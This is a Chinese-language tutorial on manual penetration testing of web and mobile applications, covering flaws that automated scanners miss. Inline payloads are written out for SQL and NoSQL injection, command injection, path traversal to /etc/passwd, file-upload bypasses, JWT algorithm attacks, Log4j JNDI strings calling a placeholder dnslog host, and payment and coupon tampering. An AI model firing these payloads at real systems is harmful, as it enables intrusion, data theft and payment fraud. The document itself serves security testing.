很多安全扫描器跑完报告一片绿,但经验丰富的安全工程师手动复查时,依然能挖出高危漏洞。这不是扫描器没用,而是自动化工具的逻辑基于已知模式匹配,面对复杂的业务逻辑、权限绕弯和上下文关联的漏洞,机器还做不到像人一样思考和联想。人工渗透测试的本质,就是用攻击者的思维去理解系统,在自动化工具覆盖不到的地方,找到那条通往核心数据的隐秘路径。

从业务逻辑的缝隙中寻找越权

自动化工具最难发现的就是水平越权和垂直越权,因为这需要理解每个参数、每个ID代表的业务含义。测试时,不要只盯着数字ID。拿到一个订单详情接口,把URL里的order_id=10001改成10002,如果返回了别人的订单信息,这是最基础的水平越权。但更隐蔽的情况是,系统做了表面校验,返回403,此时不能放弃。尝试将请求方法从GET改成POST,或者在POST请求里将GET参数放到body中,观察后端是否对不同请求方法做了不一致的校验。还可以尝试用JSON格式提交参数,比如把order_id=10001改成{"order_id":"10002"},很多框架在处理参数绑定时有差异,可能绕过第一层防护。

对于垂直越权,核心思路是角色混淆。用一个普通用户登录,拿到token或session,然后直接访问管理员才能用的API路径,比如/admin/user_list或者/management/deleteUser。如果直接访问被拦截,试试在普通用户的请求里,通过修改请求体中的role_id、is_admin这类字段来提权。重点留意那些看似无关痛痒的接口,比如导出报表、查看日志的接口,这些功能点开发人员往往只在前端隐藏了入口,后端没有严格校验身份,一旦直接访问,就能获取大量敏感数据。

深入SQL注入的盲区挖掘

扫描器能发现?id=1'报错的注入,但面对复杂的、需要绕弯的SQL注入往往无能为力。遇到数字型参数,先加单引号、双引号、反斜杠看报错,这是常规操作。关键是遇到不报错的情况,不能就此判定没有注入。要利用时间盲注和布尔盲注进行手工验证。例如在参数后拼接and sleep(5),观察服务器响应时间是否真的延迟了5秒。这里有个细节:不要只试一次,因为网络波动可能造成误判,要对比正常请求和注入请求的响应时间差,至少测试三次取平均值。

在POST请求的JSON、XML数据体里测试注入是很多人忽略的盲区。比如一个JSON请求{"username":"admin","password":"123456"},把password的值改成"123456' or '1'='1,看能否绕过登录。更进一步,尝试JSON格式的注入,把值改成{"$gt":""}这类NoSQL操作符,如果后端是MongoDB且未做过滤,可能直接绕过认证。在XML里,可以测试XPath注入,通过构造单引号闭合,用or 1=1这类条件去遍历节点数据。还有HTTP头注入,在X-Forwarded-For、User-Agent、Referer这些字段里插入测试payload,因为后端经常把这些头信息存入数据库用于日志记录,而开发人员很少对这些字段做防注入处理。

命令执行与文件操作的隐蔽通道

凡是系统调用了外部命令或操作文件的地方,都是人工渗透的重点。看到网站有ping、traceroute这类网络诊断功能,在IP参数后面拼接分号、管道符、反引号来尝试执行系统命令。比如输入127.0.0.1;id,如果返回了当前用户信息,就证明存在命令注入。更隐蔽的情况是,后端对分号、管道符做了过滤,可以尝试用换行符%0a、%0d来绕过,因为某些语言如Go的exec.Command在逐行处理时,换行符可以起到命令分隔的作用。

文件上传点的测试不能只停留在传个php后缀被拦截就结束。先传一个正常的jpg图片,用Burp Suite抓包,在文件名处尝试test.php%00.jpg这样的空字节截断,看后端是否能正确识别并截断。如果不行,试试修改Content-Type为image/jpeg,但文件内容写入一句话木马,测试后端是否只校验了类型而没有检查文件内容。还可以利用配置文件解析漏洞,在图片的EXIF信息里插入PHP代码,或者利用ImageMagick这类图像处理库的历史漏洞,通过构造特殊的图片文件来执行命令。对于文件读取功能,看到file=或者path=参数,要尝试目录穿越,用../../../../etc/passwd去读取系统文件,如果过滤了../,就用URL编码、二次编码甚至Unicode编码去绕过。

解析认证与会话管理的弱点

登录口是人工测试的重灾区。暴力破解不是简单的跑字典,而是先分析密码策略。注册一个账号,看系统对密码复杂度要求,如果只要求6位数字,那字典范围就极大缩小。更重要的是测试锁定机制,连续输错5次密码,看账户是永久锁定还是临时锁定,锁定时间是多久。很多系统只在单IP上做锁定,更换IP就能继续尝试。还有的锁定机制是前端JS控制,后端实际没有限制,直接发POST请求就能绕过。

会话管理方面,登录后拿到cookie,仔细看它的结构。如果cookie看起来像base64编码,解码后发现是userid:timestamp这种格式,就可以尝试修改userid来冒充他人。JWT token在实战中问题最多,拿到token后到jwt.io解码,看算法字段。如果算法是none,直接把算法改成none并删除签名部分,服务器可能接受这个无签名的token。如果使用RS256非对称算法,可以尝试把算法改成HS256,然后用服务端的公钥作为密钥重新签名,这就是经典的算法混淆攻击。还有的token过期时间设置过长,或者根本没有在服务端做失效处理,用户退出登录后,旧的token依然有效。

客户端代码的逆向与信息泄露

前端JavaScript里藏着大量后端接口路径、参数名和业务逻辑。打开浏览器开发者工具,在Sources里搜索api、endpoint、secret、token、password这些关键字,经常能发现隐藏的接口地址或者测试环境的后台入口。更要关注那些注释掉的代码,开发人员经常把测试用的凭证、调试接口写在注释里,上线时忘记删除。在Network标签里观察所有XHR请求,整理出一份完整的API清单,然后对这些API逐个进行未授权访问测试。

移动端APP的测试需要反编译。用apktool解包后,重点看AndroidManifest.xml里注册的组件,特别是exported=true的Activity、Service和BroadcastReceiver,这些组件可以被外部应用调用,如果未做权限校验,可能导致敏感功能被越权调用。在代码层面,搜索硬编码的AK/SK、API密钥、加密盐值。很多开发者把云服务的访问密钥直接写在代码里,通过反编译就能拿到,进而控制云资源。对于使用HTTPS的APP,还要测试是否做了SSL Pinning,如果没有,就可以通过设置系统代理抓包,分析所有的API请求,这比Web端测试能发现更多后端接口。

供应链与第三方组件的精准打击

现代应用大量依赖第三方库和组件,这些组件的已知漏洞是人工渗透的突破口。首先需要识别目标使用了哪些技术栈。看HTTP响应头的X-Powered-By、Server字段,看页面源码里的meta标签生成器信息,看JS和CSS文件的路径特征,比如有wp-content说明是WordPress,有static/plugins/elementor说明用了Elementor页面构建器。还可以通过favicon的hash值在fofa这类平台反查同源站点,确认具体的CMS和版本。

确定版本后,人工验证漏洞不能依赖扫描器的版本匹配,因为很多系统打了补丁但版本号没变,或者漏洞利用需要特定条件。以Log4j漏洞为例,扫描器发一个带${jndi:ldap://xxx.dnslog.cn}的payload,收到DNS回显就报高危。但人工测试要更深入,在所有输入点测试,包括HTTP头、表单字段、甚至文件名。还要尝试绕过WAF的检测,比如用${${lower:j}ndi:ldap://xxx}这种嵌套查找的语法来变形payload。对于Fastjson、Jackson这类JSON处理库的反序列化漏洞,需要准备多个版本的利用链,根据目标的实际环境尝试不同的gadget,这个过程需要手工调整payload,自动化工具很难完成。

业务逻辑漏洞的深度挖掘

这是自动化工具完全无法覆盖的领域,完全依赖测试人员对业务的理解。优惠券系统是最容易出问题的地方。领券接口通常有数量限制,但如果并发请求,可能突破限制,这就是条件竞争。测试时用Burp Suite的Intruder模块,把领取优惠券的请求设置多个线程同时发送,观察是否成功领取了超过限制数量的券。还有金额计算的精度问题,比如把商品单价设成0.01元,购买999件,总价显示9.99元,但后端计算时可能因为浮点数精度问题,实际扣款和显示不一致。测试时要反复尝试各种边界值组合,比如负数数量、超大数量、0金额订单,看系统如何处理。

支付流程的篡改是另一个高发区。在生成订单到完成支付之间,抓包修改订单金额,把total_amount从1000改成1,看后端是否以修改后的金额进行扣款。如果后端做了校验,尝试修改商品ID为低价商品,但数量保持,看能否用低价购买高价商品。还有运费逻辑,通过修改收货地址的省份、城市,观察运费变化,尝试找到运费计算规则的漏洞,比如某个偏远地区设置了免运费,就可以利用这个地址绕过运费。

API接口的未授权与批量数据拉取

前后端分离架构下,API接口数量庞大,开发人员很容易遗漏权限校验。拿到API列表后,去掉认证token逐个请求,看哪些接口能直接返回数据。重点关注那些返回列表的接口,比如/api/users、/api/orders,这些接口一旦未授权,就能批量拉取所有用户信息或订单详情。即使做了分页,也要测试page和size参数的最大值,把size改成10000,看能否一次性拉取大量数据。对于GraphQL接口,内省查询如果未关闭,通过__schema查询能拿到整个数据库的结构,包括所有表名、字段名和关联关系,这为后续的精准攻击提供了完整的地图。

接口的HTTP方法也要逐个测试。对一个只应该支持GET的接口发送PUT或DELETE请求,看后端如何处理。很多框架在配置路由时,只对GET方法做了鉴权,PUT和DELETE方法直接放行。还有OPTIONS方法,能返回该接口支持的所有HTTP方法和CORS配置,如果Access-Control-Allow-Origin被设置为*且Access-Control-Allow-Credentials为true,就存在严重的跨域资源滥用风险,可以构造恶意页面在用户浏览器中发起跨域请求并携带凭证。

人工渗透测试的价值不在于替代自动化工具,而在于完成工具做不到的上下文关联分析和创造性攻击。每一个参数、每一个请求头、每一个业务流程的异常分支,都可能隐藏着漏洞。保持对目标系统的好奇心,假设每一个输入点都是不可信的,用攻击者的视角不断追问“如果我不按规矩来会怎样”,这就是手工排查深层漏洞的核心心法。